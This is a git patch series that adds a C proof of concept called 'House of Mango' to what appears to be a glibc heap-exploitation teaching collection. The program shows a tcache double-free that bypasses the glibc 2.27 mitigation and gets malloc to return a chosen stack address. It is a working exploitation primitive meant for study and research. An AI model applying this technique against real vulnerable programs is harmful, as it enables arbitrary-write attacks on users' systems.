From d6975eee74ff3d2026eb95a3b4201b84bd4ffc9a Mon Sep 17 00:00:00 2001 From: D3xt3r Date: Sun, 21 Jun 2020 12:38:55 +0530 Subject: [PATCH 1/2] added new Tcache bins attack - House Of Mango --- Makefile | 2 +- glibc_2.26/house_of_mango.c | 68 +++++++++++++++++++++++++++++++++++++ 2 files changed, 69 insertions(+), 1 deletion(-) create mode 100644 glibc_2.26/house_of_mango.c diff --git a/Makefile b/Makefile index 82a6a87..7b45320 100644 --- a/Makefile +++ b/Makefile @@ -1,6 +1,6 @@ BASE = fastbin_dup malloc_playground first_fit calc_tcache_idx V2.25 = glibc_2.25/fastbin_dup_into_stack glibc_2.25/fastbin_dup_consolidate glibc_2.25/unsafe_unlink glibc_2.25/house_of_spirit glibc_2.25/poison_null_byte glibc_2.25/house_of_lore glibc_2.25/overlapping_chunks glibc_2.25/overlapping_chunks_2 glibc_2.25/house_of_force glibc_2.25/large_bin_attack glibc_2.25/unsorted_bin_attack glibc_2.25/unsorted_bin_into_stack glibc_2.25/house_of_einherjar glibc_2.25/house_of_orange glibc_2.25/house_of_roman -V2.26 = glibc_2.26/unsafe_unlink glibc_2.26/house_of_lore glibc_2.26/overlapping_chunks glibc_2.26/large_bin_attack glibc_2.26/unsorted_bin_attack glibc_2.26/unsorted_bin_into_stack glibc_2.26/house_of_einherjar glibc_2.26/tcache_dup glibc_2.26/tcache_poisoning glibc_2.26/tcache_house_of_spirit glibc_2.26/house_of_botcake glibc_2.26/tcache_stashing_unlink_attack glibc_2.26/fastbin_reverse_into_tcache +V2.26 = glibc_2.26/unsafe_unlink glibc_2.26/house_of_mango glibc_2.26/house_of_lore glibc_2.26/overlapping_chunks glibc_2.26/large_bin_attack glibc_2.26/unsorted_bin_attack glibc_2.26/unsorted_bin_into_stack glibc_2.26/house_of_einherjar glibc_2.26/tcache_dup glibc_2.26/tcache_poisoning glibc_2.26/tcache_house_of_spirit glibc_2.26/house_of_botcake glibc_2.26/tcache_stashing_unlink_attack glibc_2.26/fastbin_reverse_into_tcache PROGRAMS = $(BASE) $(V2.25) $(V2.26) CFLAGS += -std=c99 -g diff --git a/glibc_2.26/house_of_mango.c b/glibc_2.26/house_of_mango.c new file mode 100644 index 0000000..d128819 --- /dev/null +++ b/glibc_2.26/house_of_mango.c @@ -0,0 +1,68 @@ +#include +#include +#include +#include +#include + +/** + * Author : 0xd3xt3r + * + * Double free vulneribity in on tcache bins is mitigated in 2.27 and later + * can be seen in commit bcdaad21d4635931d1bd3b54a7894276925d081d + * This has fixed the attack which gives arbitrary write vulneribity in glibc + * double free. This attack will demonstrate how we can bypass this mitigation + * and get an arbitrary write with the new mitigation applied. + * + * This Attack works as follows: + * + * 1. Free an allocated chunk + * 2. Change the size of the chunk and either by realloc or overflow from the + * previous chunk + * 3. Free the same chunk again, now you have same chunk in two tcache bins. + * 4. Request the chunk from either of the bins + * 5. Now write the fake chunk address in the first 4/8 bytes of the newly + * requested chunk. This will poison the tcache list having this chunk. + * 6. Subsequent request to the tcache list containing the poisoned chunk + * will return our target memory area. + */ + +int main() +{ + setbuf(stdin, NULL); + setbuf(stdout, NULL); + + printf("Welcome to House of Mango 2!\n"); + printf("Tested on Ubuntu 18.04 64bit (glibc-2.27) and works on 2.27 and later\n"); + intptr_t fake_chunk[4]; + printf("\nThe address we want malloc() to return is %p.\n", (char *)&fake_chunk); + + intptr_t *victim_chunk = malloc(0x30); + printf("first chunk returned by malloc victim_chunk: %p\n", victim_chunk); + // first free + free(victim_chunk); + + intptr_t *victim_chunk_header = victim_chunk - 2; + // + printf("Now we change the size of the chunk in tcache_bins either by overflow or realloc function\n"); + // this overflow could also be done by adjusent chunk + victim_chunk_header[1] = 0x51; + // victim_chunk = realloc(victim_chunk, 0x50); + // + + printf("Freeing the overflowen chunk\n"); + free(victim_chunk); // victim_chunk is already freed before + printf("This free has place the chunk %p in two tcache bins one of size 0x30 and other of size 0x40\n", victim_chunk); + printf("So effective we have two tcache bins with same chunk %p\n", victim_chunk); + + intptr_t *b = malloc(0x40); + printf("Tcache return the chunk which we freed earlier %p\n", b); + printf("Time to poison the tcache bins with our fake chunk address\n"); + b[0] = (intptr_t)&fake_chunk; + printf("Now chunk %p is in tcache bin (0x30) next points to %p\n", b, fake_chunk); + intptr_t *c = malloc(0x30); + printf("Request to malloc will return the same chunk as before %p\n", c); + intptr_t *target_fake_chunk = malloc(0x30); + printf("Another request returns the fake chunk %p\n", target_fake_chunk); + assert(target_fake_chunk == fake_chunk); + printf("Got control on target/stack!\n\n"); +} From be4375f08fa1b10414403d1027eb64fd1954e2c3 Mon Sep 17 00:00:00 2001 From: D3xt3r Date: Mon, 22 Jun 2020 12:58:03 +0530 Subject: [PATCH 2/2] attack without overwrite --- glibc_2.26/house_of_mango.c | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/glibc_2.26/house_of_mango.c b/glibc_2.26/house_of_mango.c index d128819..8548bf0 100644 --- a/glibc_2.26/house_of_mango.c +++ b/glibc_2.26/house_of_mango.c @@ -45,8 +45,8 @@ int main() // printf("Now we change the size of the chunk in tcache_bins either by overflow or realloc function\n"); // this overflow could also be done by adjusent chunk - victim_chunk_header[1] = 0x51; - // victim_chunk = realloc(victim_chunk, 0x50); + // victim_chunk_header[1] = 0x51; + victim_chunk = realloc(victim_chunk, 0x40); // printf("Freeing the overflowen chunk\n");